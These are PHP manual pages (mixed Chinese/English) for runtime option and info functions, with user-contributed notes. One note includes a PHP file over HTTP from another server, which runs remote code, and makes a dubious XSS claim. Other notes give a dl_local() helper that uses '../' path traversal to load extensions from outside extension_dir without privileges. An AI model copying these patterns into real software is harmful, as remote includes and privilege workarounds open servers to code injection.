cli_get_process_title(): ?string

Returns the current process title, as set by cli_set_process_title(). Note that this may not exactly match what is shown in ps or top, depending on your operating system.

This function is available only in CLI mode.

参数

此函数没有参数。

返回值

Return a string with the current process title or null on error.

错误／异常

An E_WARNING will be generated if the operating system is unsupported.

示例

Example #1 cli_get_process_title() example

<?php
echo "Process title: " . cli_get_process_title() . "\n";
?>

参见

  • cli_set_process_title() - Sets the process title

User Contributed Notes

pgl at yoyo dot org 30-Jan-2014 11:20
For versions of PHP < 5.5.0, you can get the name of the script from $argv[0]: http://www.php.net/manual/en/reserved.variables.argv.php


Sets the process title

  • ? cli_get_process_title
  • dl ?
  • PHP Manual
  • PHP 选项/信息 函数
  • Sets the process title

cli_set_process_title

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

cli_set_process_title — Sets the process title

说明

cli_set_process_title(string $title): bool

Sets the process title visible in tools such as top and ps. This function is available only in CLI mode.

参数

title

The new title.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

An E_WARNING will be generated if the operating system is unsupported.

示例

Example #1 cli_set_process_title() example

<?php
$title = "My Amazing PHP Script";
$pid = getmypid(); // you can use this to see your process title in ps

if (!cli_set_process_title($title)) {
echo "Unable to set process title for PID $pid...\n";
exit(1);
} else {
echo "The process title '$title' for PID $pid has been set for your process!\n";
sleep(5);
}
?>

参见

  • cli_get_process_title() - Returns the current process title

User Contributed Notes

pitpat 17-Mar-2021 10:04
In Linux this command changes the title for commands like 'ps -a' it doesn't seem to work with 'top' or 'pkill'

To change the short name (eg PHP) to something else you can use the below:

<?php

$strNewName='myscript';

cli_set_process_name($strNewName);
cli_set_process_title($strNewName);

var_dump(cli_get_process_name());
var_dump(cli_get_process_title());

function cli_set_process_name($strName)
{
   file_put_contents("/proc/".getmypid()."/comm",$strName);
}

function cli_get_process_name()
{
  return(trim(file_get_contents("/proc/".getmypid()."/comm"),"\r\n"));
}

Note: The above will NOT work in Windows and may not work in all flavours of linux (I use Debian).
code at edoceo dot com 12-Mar-2014 07:14
Setting proc title on PHP based daemons is pretty sweet.


运行时载入一个 PHP 扩展

  • ? cli_set_process_title
  • extension_loaded ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 运行时载入一个 PHP 扩展

dl

(PHP 4, PHP 5, PHP 7, PHP 8)

dl — 运行时载入一个 PHP 扩展

说明

dl(string $extension_filename): bool

载入指定参数 extension_filename 的 PHP 扩展。

使用 extension_loaded() 来测试指定的扩展是否已经激活。 这既能用于内建的扩展也可以用于动态加载的扩展（既可以通过 php.ini 也可以通过 dl()）。

Warning

此函数仅适用于 CLI 和嵌入式 SAPI，以及从命令行运行时的 CGI SAPI。

参数

extension_filename

此参数仅仅是要加载的扩展的文件名，依赖于你的平台。 比如，sockets（作为共享模块编译，而不是默认的！）在 Unix 平台上称为 sockets.so 而 在 Windows 平台上是 php_sockets.dll。

扩展加载的目录依赖于你的平台：

Windows - 如果没有在 php.ini 里明确设置，扩展默认会从 C:\php5\ 加载。

Unix - 如果没有在 php.ini 里明确设置，默认的扩展目录依赖于

  • PHP 是否通过 --enable-debug 选项构建
  • PHP 是否以 ZTS （Zend 线程安全）支持构建
  • 当前的内部 ZEND_MODULE_API_NO（Zend 内部模块 API 数字，基本上是主要模块修改时的日期）
考虑到上述，目录默认为 <install-dir>/lib/php/extensions/ <debug-or-not>-<zts-or-not>-ZEND_MODULE_API_NO，例如 /usr/local/php/lib/php/extensions/debug-non-zts-20010901 或 /usr/local/php/lib/php/extensions/no-debug-zts-20010901。

返回值

成功时返回 true， 或者在失败时返回 false。 如果加载模块的功能是无效或者禁用的（可以关闭 enable_dl 设置）将导致一个 E_ERROR 并中断执行。 如果因为指定的库无法加载而导致 dl() 失败，除了返回 false，还会产生一个 E_WARNING 的消息。

示例

Example #1 dl() 示例

<?php
// 加载一个扩展的示例，基于操作系统
if (!extension_loaded('sqlite')) {
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
dl('php_sqlite.dll');
} else {
dl('sqlite.so');
}
}

// 或者，使用常量 PHP_SHLIB_SUFFIX
if (!extension_loaded('sqlite')) {
$prefix = (PHP_SHLIB_SUFFIX === 'dll') ? 'php_' : '';
dl($prefix . 'sqlite.' . PHP_SHLIB_SUFFIX);
}
?>

注释

Note:

在某些 Unix 平台上，dl() 是大小写敏感的。

参见

  • 扩展加载指令
  • extension_loaded() - 检查一个扩展是否已经加载

User Contributed Notes

anrdaemon at freemail dot ru 29-Sep-2016 12:17
Like with eval(), the only correct way to use dl() is to not use it.
Test if a function(s) you intend to use are available.
If not, complain to the user or implement a workaround.
Not to mention dl() issues in a multithreading environment.
shaunspiller at spammenot-gmail dot com 29-Jan-2009 12:34
dl is awkward because the filename format is OS-dependent and because it can complain if the extension is already loaded. This wrapper function fixes that:

<?php

function load_lib($n, $f = null) {
    return extension_loaded($n) or dl(((PHP_SHLIB_SUFFIX === 'dll') ? 'php_' : '') . ($f ? $f : $n) . '.' . PHP_SHLIB_SUFFIX);
}

?>

Examples:

<?php

// ensure we have SSL and MySQL support
load_lib('openssl');
load_lib('mysql');

// a rare few extensions have a different filename to their extension name, such as the image (gd) library, so we specify them like this:
load_lib('gd', 'gd2');

?>
mag_2000 at front dot ru 06-Dec-2005 11:13
<?php

function dl_local( $extensionFile ) {
   //make sure that we are ABLE to load libraries
   if( !(bool)ini_get( "enable_dl" ) || (bool)ini_get( "safe_mode" ) ) {
     die( "dh_local(): Loading extensions is not permitted.\n" );
   }

     //check to make sure the file exists
   if( !file_exists( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' does not exist.\n" );
   }

   //check the file permissions
   if( !is_executable( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' is not executable.\n" );
   }

 //we figure out the path
 $currentDir = getcwd() . "/";
 $currentExtPath = ini_get( "extension_dir" );
 $subDirs = preg_match_all( "/\//" , $currentExtPath , $matches );
 unset( $matches );

     //lets make sure we extracted a valid extension path
   if( !(bool)$subDirs ) {
     die( "dl_local(): Could not determine a valid extension path [extension_dir].\n" );
   }

 $extPathLastChar = strlen( $currentExtPath ) - 1;

   if( $extPathLastChar == strrpos( $currentExtPath , "/" ) ) {
     $subDirs--;
   }

 $backDirStr = "";
     for( $i = 1; $i <= $subDirs; $i++ ) {
     $backDirStr .= "..";
       if( $i != $subDirs ) {
         $backDirStr .= "/";
       }
   }

 //construct the final path to load
 $finalExtPath = $backDirStr . $currentDir . $extensionFile;

   //now we execute dl() to actually load the module
     if( !dl( $finalExtPath ) ) {
     die();
   }

 //if the module was loaded correctly, we must bow grab the module name
 $loadedExtensions = get_loaded_extensions();
 $thisExtName = $loadedExtensions[ sizeof( $loadedExtensions ) - 1 ];

 //lastly, we return the extension name
  return $thisExtName;

}//end dl_local()

?>
endofyourself at yahoo dot com 18-Oct-2003 04:12
If you need to load an extension from the CURRENT local directory because you do not have privelages to place the extension in your servers PHP extensions directory, this function i wrote may be of use to you

<?php
/*
    Function: dl_local()
    Reference: http://us2.php.net/manual/en/function.dl.php
    Author: Brendon Crawford <endofyourself |AT| yahoo>
    Usage: dl_local( "mylib.so" );
    Returns: Extension Name (NOT the extension filename however)
    NOTE:
        This function can be used when you need to load a PHP extension (module,shared object,etc..),
        but you do not have sufficient privelages to place the extension in the proper directory where it can be loaded. This function
        will load the extension from the CURRENT WORKING DIRECTORY only.
        If you need to see which functions are available within a certain extension,
        use "get_extension_funcs()". Documentation for this can be found at
        "http://us2.php.net/manual/en/function.get-extension-funcs.php".
*/

function dl_local( $extensionFile ) {
    //make sure that we are ABLE to load libraries
    if( !(bool)ini_get( "enable_dl" ) || (bool)ini_get( "safe_mode" ) ) {
     die( "dh_local(): Loading extensions is not permitted.\n" );
    }

     //check to make sure the file exists
    if( !file_exists( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' does not exist.\n" );
    }

    //check the file permissions
    if( !is_executable( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' is not executable.\n" );
    }

 //we figure out the path
 $currentDir = getcwd() . "/";
 $currentExtPath = ini_get( "extension_dir" );
 $subDirs = preg_match_all( "/\//" , $currentExtPath , $matches );
 unset( $matches );

     //lets make sure we extracted a valid extension path
    if( !(bool)$subDirs ) {
     die( "dl_local(): Could not determine a valid extension path [extension_dir].\n" );
    }

 $extPathLastChar = strlen( $currentExtPath ) - 1;

    if( $extPathLastChar == strrpos( $currentExtPath , "/" ) ) {
     $subDirs--;
    }

 $backDirStr = "";
     for( $i = 1; $i <= $subDirs; $i++ ) {
     $backDirStr .= "..";
        if( $i != $subDirs ) {
         $backDirStr .= "/";
        }
    }

 //construct the final path to load
 $finalExtPath = $backDirStr . $currentDir . $extensionFile;

    //now we execute dl() to actually load the module
     if( !dl( $finalExtPath ) ) {
     die();
    }

 //if the module was loaded correctly, we must bow grab the module name
 $loadedExtensions = get_loaded_extensions();
 $thisExtName = $loadedExtensions[ sizeof( $loadedExtensions ) - 1 ];

 //lastly, we return the extension name
  return $thisExtName;

}//end dl_local()

?>


检查一个扩展是否已经加载

  • ? dl
  • gc_collect_cycles ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 检查一个扩展是否已经加载

extension_loaded

(PHP 4, PHP 5, PHP 7, PHP 8)

extension_loaded — 检查一个扩展是否已经加载

说明

extension_loaded(string $extension): bool

检查一个扩展是否已经加载。

参数

extension

扩展名称，大小写不敏感。

你可以用 phpinfo() 来查看一系列扩展名称，而在 CGI 或 CLI 的 PHP 版本里你可以使用 -m 参数来列出所有有效的扩展：

$ php -m
[PHP Modules]
xml
tokenizer
standard
sockets
session
posix
pcre
overload
mysql
mbstring
ctype

[Zend Modules]

返回值

如果 extension 指定的扩展已加载，返回 true，否则返回 false。

示例

Example #1 extension_loaded() 示例

<?php
if (!extension_loaded('gd')) {
if (!dl('gd.so')) {
exit;
}
}
?>

参见

  • get_loaded_extensions() - 返回所有编译并加载模块名的 array
  • get_extension_funcs() - 返回模块函数名称的数组
  • phpinfo() - 输出关于 PHP 配置的信息
  • dl() - 运行时载入一个 PHP 扩展
  • function_exists() - 如果给定的函数已经被定义就返回 true

User Contributed Notes

There are no user contributed notes for this page.


强制收集所有现存的垃圾循环周期

  • ? extension_loaded
  • gc_disable ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 强制收集所有现存的垃圾循环周期

gc_collect_cycles

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gc_collect_cycles — 强制收集所有现存的垃圾循环周期

说明

gc_collect_cycles(): int

强制收集所有现存的垃圾循环周期。

参数

此函数没有参数。

返回值

返回收集的循环数量。

参见

  • 垃圾回收机制

User Contributed Notes

Mason 07-Sep-2011 04:22
(Since this function wasn't documented as of the date I left this note...)

If you came here looking for documentation, allow me to point you instead to a section in the user manual about garbage collection that includes a bit at the end about when you would use this feature and what it will actually do: http://php.net/manual/en/features.gc.collecting-cycles.php

Hope it helps!


停用循环引用收集器

  • ? gc_collect_cycles
  • gc_enable ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 停用循环引用收集器

gc_disable

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gc_disable — 停用循环引用收集器

说明

gc_disable(): void

停用循环引用收集器，设置 zend.enable_gc 为 0。

参数

此函数没有参数。

返回值

没有返回值。

参见

  • 垃圾回收机制

User Contributed Notes

Lev Kitsis 02-Dec-2014 05:55
Can be very useful for big projects, when you create a lot of objects that should stay in memory. So GC can't clean them up and just wasting CPU time.

Issue in composer:
https://github.com/composer/composer/pull/3482#issuecomment-65199153

Solution and people replies:
https://github.com/composer/composer/commit/ac676f47f7bbc619678a29deae097b6b0710b799


激活循环引用收集器

  • ? gc_disable
  • gc_enabled ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 激活循环引用收集器

gc_enable

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gc_enable — 激活循环引用收集器

说明

gc_enable(): void

设置 zend.enable_gc 为 1， 激活循环引用收集器。

参数

此函数没有参数。

返回值

没有返回值。

参见

  • 垃圾回收机制

User Contributed Notes

There are no user contributed notes for this page.


返回循环引用计数器的状态

  • ? gc_enable
  • gc_mem_caches ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 返回循环引用计数器的状态

gc_enabled

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gc_enabled — 返回循环引用计数器的状态

说明

gc_enabled(): bool

返回循环引用计数器的状态。

参数

此函数没有参数。

返回值

如果垃圾收集器已启用则返回 true，否则返回 false。

示例

Example #1 gc_enabled() 示例

<?php
if(gc_enabled()) gc_collect_cycles();
?>

参见

  • 垃圾回收机制

User Contributed Notes

Anonymous 02-Jul-2009 11:48
If I understand correctly, the php.ini parameter zend.enable_gc (see http://www.php.net/manual/en/info.configuration.php) determines whether garbage collection is enabled:

<?php

var_dump(gc_enabled());
ini_set('zend.enable_gc', 0);
var_dump(gc_enabled());

?>

In PHP 5.3.0 this prints:

bool(true)
bool(false)

Oh, and of course gc_enable() and gc_disable() turn on or off the collection of garbage.


Reclaims memory used by the Zend Engine memory manager

  • ? gc_enabled
  • gc_status ?
  • PHP Manual
  • PHP 选项/信息 函数
  • Reclaims memory used by the Zend Engine memory manager

gc_mem_caches

(PHP 7, PHP 8)

gc_mem_caches — Reclaims memory used by the Zend Engine memory manager

说明

gc_mem_caches(): int

Reclaims memory used by the Zend Engine memory manager.

参数

此函数没有参数。

返回值

Returns the number of bytes freed.

参见

  • Garbage Collection

User Contributed Notes

There are no user contributed notes for this page.


获取有关垃圾回收的信息

  • ? gc_mem_caches
  • get_cfg_var ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取有关垃圾回收的信息

gc_status

(PHP 7 >= 7.3.0, PHP 8)

gc_status — 获取有关垃圾回收的信息

说明

gc_status(): array

获取有关当前垃圾收集状态的信息。

参数

此函数没有参数。

返回值

返回包含以下元素的关联数组：

  • "runs"
  • "collected"
  • "threshold"
  • "roots"

示例

Example #1 gc_status() 用法

<?php

// create object tree that needs gc collection
$a = new stdClass();
$a->b = [];
for ($i = 0; $i < 100000; $i++) {
$b = new stdClass();
$b->a = $a;
$a->b[] = $b;
}
unset($a);
unset($b);
gc_collect_cycles();

var_dump(gc_status());

以上示例的输出类似于：

array(4) {
  ["runs"]=>
  int(5)
  ["collected"]=>
  int(100002)
  ["threshold"]=>
  int(50001)
  ["roots"]=>
  int(0)
}

参见

  • 垃圾回收

User Contributed Notes

There are no user contributed notes for this page.


获取 PHP 配置选项的值

  • ? gc_status
  • get_current_user ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取 PHP 配置选项的值

get_cfg_var

(PHP 4, PHP 5, PHP 7, PHP 8)

get_cfg_var — 获取 PHP 配置选项的值

说明

get_cfg_var(string $option): string|array|false

获取 PHP 配置选项 option 的值。

此函数不会返回 PHP 编译的配置信息，或从 Apache 配置文件读取。

检查系统是否使用了一个配置文件，并尝试获取 cfg_file_path 的配置设置的值。如果有效，将会使用一个配置文件。

参数

option

配置选项的名称。

返回值

返回 option 指定的当前 PHP 配置变量的值，错误发生时返回 false。

参见

  • ini_get() - 获取一个配置选项的值
  • ini_get_all() - 获取所有配置选项

User Contributed Notes

sinus at sinpi dot net 27-Jan-2020 02:54
Boolean-like values are evaluated as follows: "true", "on", "yes" evaluate to "1" (string 1), while "false", "off", "no" evaluate to "" (empty string).
tbrix13 at uzitech dot com 26-Jun-2014 08:39
keep in mind get_cfg_var() returns a string(1) '1' for the value: On

<?php
//in php.ini
//A = On

$A1 = get_cfg_var("A") === "On";
$A2 = get_cfg_var("A") === 1;
$A3 = get_cfg_var("A") === "1";

//$A1 is false
//$A2 is false
//$A3 is true
?>
techno dot rahul1988 at gmail dot com 08-May-2014 07:38
The difference between ini_get() and get_cfg_var() is as follows:
@) ini_get(): returns the current value in .htaccess or as defined in PHP_INI_USER or PHP_INI_PERDIR
@) get_cfg_var: returns the values defined in the php.ini
gabriel b 25-Apr-2013 06:22
settings with the value of 'yes' will be returned as '1'.

<?php
//#my ini file
//A = 1
//B = any-thing
//C = yes
//D = /some/path/file

get_cfg_var('A') // returns '1'
get_cfg_var('B') // returns 'any-thing'
get_cfg_var('C') // returns '1', wait, why?
get_cfg_var('D') // returns '/some/path/file'
?>

I had my setting = yes and then checked it as ==="yes" for epic fail.
Stephen 10-Jan-2007 11:21
Regarding the statement by the earlier poster that:

"Unfortunately, you almost never want to know the original value in the config file. Instead, you want to know the value currently in effect."

I have found this useful for changing the error reporting levels for a few specific pages while testing. I turn on all error_reporting while testing, but for a few pages I want to turn off notices. So, I put this at the top of the page:

<?php
error_reporting(8183);
?>

and this at the bottom:

<?php
error_reporting(get_cfg_var('error_reporting'));
?>

to put it back to whatever default I had at the time.
surfchen at gmail dot com 04-Sep-2006 07:00
get_cfg_var returns the value from php.ini directly,while the ini_get returns   the runtime config value. I have tried it on PHP 5.1.6

[EDIT by danbrown AT php DOT net: The author of this note means that ini_get() will return values set by ini_set(), .htaccess, a local php.ini file, and other functions at runtime.  Conversely, get_cfg_var() will return strictly the server php.ini.]


获取当前 PHP 脚本所有者名称

  • ? get_cfg_var
  • get_defined_constants ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取当前 PHP 脚本所有者名称

get_current_user

(PHP 4, PHP 5, PHP 7, PHP 8)

get_current_user — 获取当前 PHP 脚本所有者名称

说明

get_current_user(): string

返回当前 PHP 脚本所有者名称。

参数

此函数没有参数。

返回值

以字符串返回用户名。

示例

Example #1 get_current_user() 示例

<?php
echo 'Current script owner: ' . get_current_user();
?>

以上示例的输出类似于：

Current script owner: SYSTEM

参见

  • getmyuid() - 获取 PHP 脚本所有者的 UID
  • getmygid() - 获取当前 PHP 脚本拥有者的 GID
  • getmypid() - 获取 PHP 进程的 ID
  • getmyinode() - 获取当前脚本的索引节点（inode）
  • getlastmod() - 获取页面最后修改的时间

User Contributed Notes

chris at ocproducts dot com 03-Mar-2020 07:37
Further testing of behaviour on Windows vs Linux...

On Linux this function is indeed returning the owner of the script. If you want to know the username PHP is running as you can use POSIX functions (or shell_exec with 'whoami').

On Windows this function is returning the username PHP is running as. Both for IIS (IUSR) and Apache (SYSTEM - which comes from the fact Apache is a service on Windows).

The behaviour on Windows is actually useful given that POSIX functions aren't available. If you need to find the owner of the script on Windows perhaps the best way is to shell_exec to use dir /Q, and parse that.
Anonymous 15-Aug-2016 06:51
If you have userdir enabled, get_current_user() returns the username of the user hosting the public_html. For example, http://example.com/~bobevans/somescript.php will return bobevans when calling get_current_user().
login dot naitsirch at arcor dot de 02-Jul-2015 08:52
If you want to get the name of the user who executes the current PHP script, you can use

<?php
$username = getenv('USERNAME') ?: getenv('USER');
echo $username; // e.g. root or www-data
?>
nick at little-apps dot org 21-Aug-2013 05:06
Since this only returns the file owner and not the actual user running the script, an alternative in Linux is:

<?php
$current_user = trim(shell_exec('whoami'));
?>
south dot bucks at gmail dot com 29-Aug-2012 02:01
On Centos, the Red Hat linux clone, this instruction gives the file's OWNER (the first parameter in instruction 'chown').  It does not reveal the file's GROUP.

get_current_user()  does NOT reveal the current process' user's identity.

See:  posix_getuid() - Return the real user ID of the current process
s dot bond1 at lse dot ac dot uk 10-May-2007 05:17
The information returned by get_current_user() seems to depend on the platform.

Using PHP 5.1.1 running as CGI with IIS 5.0 on Windows NT, get_current_user() returns the owner of the process running the script, *not* the owner of the script itself.

It's easy to test - create a file containing:

<?php
    echo get_current_user();
?>

Then access it through the browser. I get: IUSR_MACHINE, the Internet Guest Account on Windows, which is certainly not the owner of the script.
justin samuel 08-Oct-2005 11:45
to get the username of the process owner (rather than the file owner), you can use:

<?php
$processUser = posix_getpwuid(posix_geteuid());
print $processUser['name'];
?>


返回所有常量的关联数组，键是常量名，值是常量值

  • ? get_current_user
  • get_extension_funcs ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 返回所有常量的关联数组，键是常量名，值是常量值

get_defined_constants

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

get_defined_constants — 返回所有常量的关联数组，键是常量名，值是常量值

说明

get_defined_constants(bool $categorize = false): array

返回当前所有已定义的常量名和值。 这包含 define() 函数所创建的，也包含了所有扩展所创建的。

参数

categorize

让此函数返回一个多维数组，分类为第一维的键名，常量和它们的值位于第二维。

<?php
define("MY_CONSTANT", 1);
print_r(get_defined_constants(true));
?>

以上示例的输出类似于：

Array
(
    [Core] => Array
        (
            [E_ERROR] => 1
            [E_WARNING] => 2
            [E_PARSE] => 4
            [E_NOTICE] => 8
            [E_CORE_ERROR] => 16
            [E_CORE_WARNING] => 32
            [E_COMPILE_ERROR] => 64
            [E_COMPILE_WARNING] => 128
            [E_USER_ERROR] => 256
            [E_USER_WARNING] => 512
            [E_USER_NOTICE] => 1024
            [E_ALL] => 2047
            [TRUE] => 1
        )

    [pcre] => Array
        (
            [PREG_PATTERN_ORDER] => 1
            [PREG_SET_ORDER] => 2
            [PREG_OFFSET_CAPTURE] => 256
            [PREG_SPLIT_NO_EMPTY] => 1
            [PREG_SPLIT_DELIM_CAPTURE] => 2
            [PREG_SPLIT_OFFSET_CAPTURE] => 4
            [PREG_GREP_INVERT] => 1
        )

    [user] => Array
        (
            [MY_CONSTANT] => 1
        )

)

返回值

返回的数组为 常量名 => 常量值，也可以按注册变量的扩展名称来分组。

示例

Example #1 get_defined_constants() 示例

<?php
print_r(get_defined_constants());
?>

以上示例的输出类似于：

Array
(
    [E_ERROR] => 1
    [E_WARNING] => 2
    [E_PARSE] => 4
    [E_NOTICE] => 8
    [E_CORE_ERROR] => 16
    [E_CORE_WARNING] => 32
    [E_COMPILE_ERROR] => 64
    [E_COMPILE_WARNING] => 128
    [E_USER_ERROR] => 256
    [E_USER_WARNING] => 512
    [E_USER_NOTICE] => 1024
    [E_ALL] => 2047
    [TRUE] => 1
)

参见

  • defined() - 检查某个名称的常量是否存在
  • constant() - 返回一个常量的值
  • get_loaded_extensions() - 返回所有编译并加载模块名的 array
  • get_defined_functions() - 返回所有已定义函数的数组
  • get_defined_vars() - 返回由所有已定义变量所组成的数组

User Contributed Notes

S-Tian 18-Jan-2022 10:31
If you want to create a static method that you can copy and paste into each class you have constants created, you can use:

<php
public static function get_class_constants(): array
{
    $reflect = new ReflectionClass(self::class);

    return $reflect->getConstants();
}
?>
R4FC0R3 16-Feb-2018 06:14
If you want to access directly on one category, just use:

<?php

print_r(get_defined_constants(true)['Core']);

?>

you can replace 'Core' by the category you wish (e.g. user):

<?php

print_r(get_defined_constants(true)['user']);

?>

Warning: only use this on development side
Bob 07-Aug-2008 09:50
Add this method to your class definition if you want an array of class constants (get_defined_constants doesn't work with class constants as Peter P said above):

<?php
public function get_class_constants()
{
    $reflect = new ReflectionClass(get_class($this));
    return $reflect->getConstants());
}
?>

You could also override stdObject with it so that all your classes  have this method
05-Jan-2006 11:29
If you want to filter through and return only the prefix for your constants (i.e. you have constants with a naming scheme), then you can use this quick little function. It comes in handy for debugging.

<?php
function returnConstants ($prefix) {
    foreach (get_defined_constants() as $key=>$value)
        if (substr($key,0,strlen($prefix))==$prefix)  $dump[$key] = $value;
    if(empty($dump)) { return "Error: No Constants found with prefix '".$prefix."'"; }
    else { return $dump; }
}
?>

Example:

<?php
define("SITENAME_OPTION_ONE",true);
define("SITENAME_OPTION_TWO",false);
define("SITENAME_URL","foo");

print_r(returnConstants("SITENAME_OPTION"));
?>

Will return:

Array
(
    [SITENAME_OPTIONONE] => 1
    [SITENAME_OPTIONTWO] =>
)
me at gogogadgetscott dot info 18-Jun-2005 11:14
<?php
/**
 * Convert constant value into string name.
 *
 * @param  mixed  Constant value.
 * @return string Constant name.
 * @access public
 */
function sch_get_consant($value)
{
    $constants = get_defined_constants();
    $name = array_search($value, $constants, TRUE);
    return $name;
}
?>


返回模块函数名称的数组

  • ? get_defined_constants
  • get_include_path ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 返回模块函数名称的数组

get_extension_funcs

(PHP 4, PHP 5, PHP 7, PHP 8)

get_extension_funcs — 返回模块函数名称的数组

说明

get_extension_funcs(string $extension): array|false

该函数根据 extension 返回模块内定义的所有函数的名称。

参数

extension

模块名称。

Note:

这个参数必须是小写（lowercase）的。

返回值

返回包含所有函数名的数组，如果 extension 不是一个有效的扩展则返回 false。

示例

Example #1 打印 XML 函数

<?php
print_r(get_extension_funcs("xml"));
?>

以上示例的输出类似于：

Array
(
    [0] => xml_parser_create
    [1] => xml_parser_create_ns
    [2] => xml_set_object
    [3] => xml_set_element_handler
    [4] => xml_set_character_data_handler
    [5] => xml_set_processing_instruction_handler
    [6] => xml_set_default_handler
    [7] => xml_set_unparsed_entity_decl_handler
    [8] => xml_set_notation_decl_handler
    [9] => xml_set_external_entity_ref_handler
    [10] => xml_set_start_namespace_decl_handler
    [11] => xml_set_end_namespace_decl_handler
    [12] => xml_parse
    [13] => xml_parse_into_struct
    [14] => xml_get_error_code
    [15] => xml_error_string
    [16] => xml_get_current_line_number
    [17] => xml_get_current_column_number
    [18] => xml_get_current_byte_index
    [19] => xml_parser_free
    [20] => xml_parser_set_option
    [21] => xml_parser_get_option
)

参见

  • get_loaded_extensions() - 返回所有编译并加载模块名的 array
  • ReflectionExtension::getFunctions() - 获取扩展中的函数

User Contributed Notes

JM 05-Jun-2006 07:40
FALSE is returned if there are no functions in that extension.  For example, <?php get_extension_funcs("xmlreader"); ?> returns FALSE because that extension defines the XMLReader class but not functions.


获取当前的 include_path 配置选项

  • ? get_extension_funcs
  • get_included_files ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取当前的 include_path 配置选项

get_include_path

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

get_include_path — 获取当前的 include_path 配置选项

说明

get_include_path(): string|false

获取当前 include_path 配置选项的值。

参数

此函数没有参数。

返回值

返回字符串的路径， 或者在失败时返回 false。

示例

Example #1 get_include_path() 示例

<?php
echo get_include_path();

// 或使用 ini_get()
echo ini_get('include_path');
?>

参见

  • ini_get() - 获取一个配置选项的值
  • restore_include_path() - 还原 include_path 配置选项的值
  • set_include_path() - 设置 include_path 配置选项
  • include - include

User Contributed Notes

gtisza at gmail dot com 06-Feb-2013 04:27
If you are trying to find a file on your include path, there is a better way: http://php.net/manual/en/function.stream-resolve-include-path.php


返回被 include 和 require 文件名的 array

  • ? get_include_path
  • get_loaded_extensions ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 返回被 include 和 require 文件名的 array

get_included_files

(PHP 4, PHP 5, PHP 7, PHP 8)

get_included_files — 返回被 include 和 require 文件名的 array

说明

get_included_files(): array

返回所有被 include、 include_once、 require 和 require_once 的文件名。

参数

此函数没有参数。

返回值

返回所有文件名称的 array。

脚本最初被称为"被包含的文件"，所以脚本自身也会和 include 系列函数引用的脚本列在一起。

被多次 include 和 require 的文件在返回的 array 里只会列出一次。

示例

Example #1 get_included_files() 示例

<?php
// 本文件是 abc.php

include 'test1.php';
include_once 'test2.php';
require 'test3.php';
require_once 'test4.php';

$included_files = get_included_files();

foreach ($included_files as $filename) {
echo "$filename\n";
}

?>

以上示例会输出：

/path/to/abc.php
/path/to/test1.php
/path/to/test2.php
/path/to/test3.php
/path/to/test4.php

参见

  • include - include
  • include_once - include_once
  • require - require
  • require_once - require_once
  • get_required_files() - 别名 get_included_files

User Contributed Notes

Aurelien Marchand 11-Feb-2022 04:23
This is a great way to emulate Python's '__name__ = "__main__"'

<?php
  if(get_included_files()[0] === __FILE__) doStuff();
?>
D 06-Jan-2020 12:15
It's perhaps not clear from the existing docs that the returned list contains nested include files as well.

That is, if A.php includes B.php, and B.php includes C.php, the result returned when calling get_included_files() from inside A.php WILL contain 'C.php'.
donikuntoro at integraasp dot com 29-Aug-2011 03:32
This function aims to perform filtering of files that have been included :

<?php
function setIncludeFiles($arrayInc = array()){
    $incFiles = get_included_files();
    if((count($arrayInc)>0)&&(count($incFiles)>0)){
        $aInt = array_intersect($arrayInc,$incFiles);
        if(count($aInt)>0){
            return false;
       }elseif(count($aInt)<1) {
        foreach($arrayInc as $inc){
            if(is_file($inc))
                include($inc);
            else{
                return false;
            }
        }
       }
    }else{
        return false;
    }
}
?>

Usage :

<?php
$toBeInclude = array('/data/your_include_files_1.php',
'/data/your_include_files_2.php',
'/data/your_include_files_3.php',
);
setIncludeFiles($toBeInclude);
?>

Return false if something goes wrong.
yarco dot w at gmail dot com 03-Jul-2007 08:27
If you have a MAIN php script which you don't want to be included by other scripts, you could use this function. For example:

main.php:
<?php
function blockit()
{
  $buf = get_included_files();
  return $buf[0] != __FILE__;
}

blockit() and exit("You can not include a MAIN file as a part of your script.");

print "OK";
?>

So other script couldn't include main.php to modify its internal global vars.
indigohaze at gmail dot com 28-Aug-2006 10:30
Something that's not noted in the docs, if a file is included remotely and you do a get_included_files() in the include itself it will *not* return the document that included it.

ie:
test2.php (server 192.168.1.14):
<?php

include("http://192.168.1.11/test/test3.php");

?>

test3.php (server 192.168.1.11):

<?php

$files = get_included_files();

print_r($files);
?>

returns:

Array ( [0] => /var/www/localhost/htdocs/test/test3.php )

Which means you can use get_included_files() to help intercept and prevent XSS-style attacks against your code.
RPaseur at NationalPres dot org 08-Mar-2006 08:04
As is often the case, YMMV.  I tried the __FILE__ and SCRIPT_FILENAME comparison and found this:

SCRIPT_FILENAME: /var/www/cgi-bin/php441
__FILE__: /raid/home/natpresch/natpresch/RAY_included.php

As an alternative:

count(get_included_files());

Gives one when the script is standalone and always more than one when the script is included.
keystorm :at: gmail dotcom 07-Sep-2004 02:08
As of PHP5, this function seems to return an array with the first index being the script all subsequent scripts are included to.
If index.php includes b.php and c.php and calls get_included_files(), the returned array looks as follows:

index.php
a.php
b.php

while in PHP<5 the array would be:

a.php
b.php

If you want to know which is the script that is including current script you can use $_SERVER['SCRIPT_FILENAME'] or any other similar server global.

